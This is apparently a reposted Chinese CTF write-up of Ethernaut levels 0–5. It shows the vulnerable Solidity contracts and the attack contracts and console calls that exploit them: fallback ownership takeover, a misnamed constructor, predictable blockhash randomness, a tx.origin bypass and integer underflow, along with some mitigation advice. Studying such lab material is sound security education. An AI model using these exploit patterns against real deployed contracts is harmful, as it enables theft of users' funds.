区块链安全 – Ethernaut 0-5 (一)

区块链安全 2年前 (2022) admin
666 0 0
区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)


区块链安全 - Ethernaut 0-5 (一)


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)


区块链安全 - Ethernaut 0-5 (一)



区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

0.Hello Ethernaut?


区块链安全 - Ethernaut 0-5 (一)




题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Instance {
string public password; uint8 public infoNum = 42; string public theMethodName = 'The method name is method7123949.'; bool private cleared = false;
// constructor constructor(string memory _password) public { password = _password; }
function info() public pure returns (string memory) { return 'You will find what you need in info1().'; }
function info1() public pure returns (string memory) { return 'Try info2(), but with "hello" as a parameter.'; }
function info2(string memory param) public pure returns (string memory) { if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) { return 'The property infoNum holds the number of the next info method to call.'; } return 'Wrong parameter.'; }
function info42() public pure returns (string memory) { return 'theMethodName is the name of the next method.'; }
function method7123949() public pure returns (string memory) { return 'If you know the password, submit it to authenticate().'; }
function authenticate(string memory passkey) public { if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { cleared = true; } }
function getCleared() public view returns (bool) { return cleared; }}

主要是了解使用方法和基本操作

await contract.info()// "You will find what you need in info1()."await contract.info1()// "Try info2(), but with "hello" as a parameter."await contract.info2('hello')// "The property infoNum holds the number of the next info method to call."await contract.infoNum()// 42await contract.info42()// "theMethodName is the name of the next method."await contract.theMethodName()// "The method name is method7123949."await contract.method7123949()// "If you know the password, submit it to authenticate()."await contract.password()// "ethernaut0"await contract.authenticate('ethernaut0')
区块链安全 - Ethernaut 0-5 (一)


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

1.Fallback?



区块链安全 - Ethernaut 0-5 (一)


题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner;
constructor() public { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
function getContribution() public view returns (uint) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { owner.transfer(address(this).balance); }
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }}

注意两个部分

// 记录用户地址对合约的贡献量,当用户当前的贡献值大于 owner(定义为1000),获得 owner权限function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;    }  }
// fallback函数,当使用 send() 方法发送数据给合约时总会调用该方法// 定义参考文章:https://me.tryblockchain.org/blockchain-solidity-fallback.htmlreceive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender;  }

思路如下

区块链安全 - Ethernaut 0-5 (一)


攻击合约部署

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import "./debug.sol";
contract Attack is Fallback {
address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D; Fallback att = Fallback(addr);
function obtain_owner() public payable { payable(addr).send(msg.value); }}


调用 contribute方法发送 1 wei

区块链安全 - Ethernaut 0-5 (一)


使用 send() 方法发送 1 wei, 触发 fallback

区块链安全 - Ethernaut 0-5 (一)


调用后查看 owner权限,已经成功获取

区块链安全 - Ethernaut 0-5 (一)


最后调用 withdraw方法  完成关卡


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

2.Fallout?



区块链安全 - Ethernaut 0-5 (一)


题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner;

/* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }
function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); }
function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; }}

我们可以注意到构造函数 Fallout 被写成了 Fal1out,导致该函数不是构造函数,可以直接调用获取 owner权限

区块链安全 - Ethernaut 0-5 (一)


调用方法即可获取权限

区块链安全 - Ethernaut 0-5 (一)



区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

3.Coin Flip?


区块链安全 - Ethernaut 0-5 (一)


题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public { consecutiveWins = 0; }
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) { revert(); }
lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false;
if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }}


这里通过计算上一区块的信息与一个固定的数值相计算,就不存在随机的情况了,除了第一次的上一区块随机,其他均为可知的值

区块链安全 - Ethernaut 0-5 (一)


直接使用原合约的计算方法,部署攻击合约

contract Attack {  using SafeMath for uint256;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531; CoinFlip coin = CoinFlip(addr);
function attack() public{ uint256 blockValue = uint256(blockhash(block.number.sub(1))); uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; coin.flip(side); }}


调用10次完成关卡

区块链安全 - Ethernaut 0-5 (一)


通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

4.Telephone?


区块链安全 - Ethernaut 0-5 (一)


题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public { owner = msg.sender; }
function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }}

这里需要区分  tx.origin 和 msg.sender ,msg.sender是函数的直接调用方,

而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,一定是账户地址而不是合约地址。

区块链安全 - Ethernaut 0-5 (一)


回到代码块中, 需要做到的是 tx.origin != msg.sender

function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;    }  }


如上图,我们只需要部署一个第三方合约A调用目标合约B,就可以通过判断获取 owner权限

区块链安全 - Ethernaut 0-5 (一)


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

 5.Token?


区块链安全 - Ethernaut 0-5 (一)


题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances; uint public totalSupply;
constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; }}

根据题目提示我们默认含有20代币,注意一下 transfer方法

// 向某地址转移代币,且需要通过require的大于0的检测function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true;  }

以太坊虚拟机(EVM)为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。

例如,uint8,只能存储[0,255]之间的数字,如果想存储256,那么就会上溢,从而将变量的值变为0。相对应的,如果从一个uint8类型的值为0的变量中减1,就会发生下溢,该变量会变成255。

所以我们需要通过下溢出来完成攻击

区块链安全 - Ethernaut 0-5 (一)


部署合约后可以看到默认20代币,产生下溢我们就可以向任意地址转移 21代币,发生下溢

区块链安全 - Ethernaut 0-5 (一)
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
if(a + c > a) { a = a + c;}另一个简单的方法是使用 OpenZeppelinSafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
a = a.add(c);如果有溢出, 代码会自动恢复.


区块链安全 - Ethernaut 0-5 (一)
区块链安全 - Ethernaut 0-5 (一)

 关于文库?



https://www.yuque.com/peiqiwiki



区块链安全 - Ethernaut 0-5 (一)

最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦?

知识星球里会持续发布一些漏洞公开信息和技术文章~

区块链安全 - Ethernaut 0-5 (一)



由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。





原文始发于微信公众号(PeiQi文库):区块链安全 – Ethernaut 0-5 (一)

版权声明:admin 发表于 2022年2月20日 下午12:18。
转载请注明:区块链安全 – Ethernaut 0-5 (一) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...